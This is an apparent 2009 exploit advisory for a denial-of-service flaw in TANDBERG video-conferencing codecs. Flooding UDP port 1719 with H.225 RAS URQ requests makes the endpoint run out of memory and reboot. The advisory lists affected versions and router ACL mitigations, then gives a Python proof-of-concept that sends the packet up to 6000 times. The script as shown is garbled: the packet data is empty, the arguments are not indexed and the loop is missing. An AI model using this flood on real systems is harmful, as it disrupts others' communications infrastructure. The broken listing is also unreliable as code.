Platform : TANDBERG
Date : November 6, 2009
Affected : All MXP FIPS140 Current as of December 8, 2009
Tested : F8.2, F8.0, F7.2, F6.3
Unconf : VCS, BC, C90
Author : otokoyama
Issues with the H.225 RAS implementation in TANDBERG Codecs.
*This has been confirmed when FIPS140 Mode is set to active.*
For the DoS to affect that Tandberg, H.323 Gatekeeper mode must
be set to "On" or "Auto" as opposed to off.
The Tandberg Endpoint does not have to be registered with a gatekeeper.
The DoS is simply sending a RAS URQ request >3280 times.
The Tandberg endpoint will swiftly run out of memory to process the request
and subsequently reboot. The packet repetition amount required to crash
depends on how many other legitimate requests the Endpoint is holding in its
stack, if the tester wishes for clean results she/he may wish to reboot the
Endpoint before running the PoC.
However it is difficult to fit in any payload after the crashing packet (in
a live remote exploit)as the person attempting this would have no control
over what is already in the Endpoint network stack but due to the nature of
This DoS would be effective on a large number of Endpoints that are on
public IP. It is quite possible that the routed Endpoints(traversal, NAT,
Port Forwarding) would allow this packet through as it is seemingly
legitimate(most VC Network Admins set up Deep Packet Inspection exclusions
to the VC Endpoints due to the nature of RTP, which in TCPDUMP looks like a
UDP flood anyway)
This is by no means a new vuln and it has existed on many platforms and
products till today (and still does ;)) but it's high time it got patched.
Mitigation : Block RAS requests at the router with an ACL, destport:1719
: Invest in traversal infrastructure and deploy it
Code attached. Feel free to vrfy.
#-----------No error detection\ success confirmation ]\
# -otk _______________/
import socket, sys
if len(sys.argv)!= 3:
print "\n[*] Usage: %s <ip> <port>\n" % sys.argv
host = sys.argv
port = int(sys.argv) #port 1719 by default
pkt = (
print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
i = 0
i += 1
if (i <= 6000): #Change to increase possibility of crash
data = s.sendto ( pkt, ((host,port)) )
print "[+] Sending packet" #remove this if you don't like spam
else: #You could also change this area to send a slow #interval RAS URQ, essentially unregistering
#the unit constantly, this wouldn't shut it
#down but would be very annoying.
print "[+] done, if host is still up you lost, check tcpdump\n"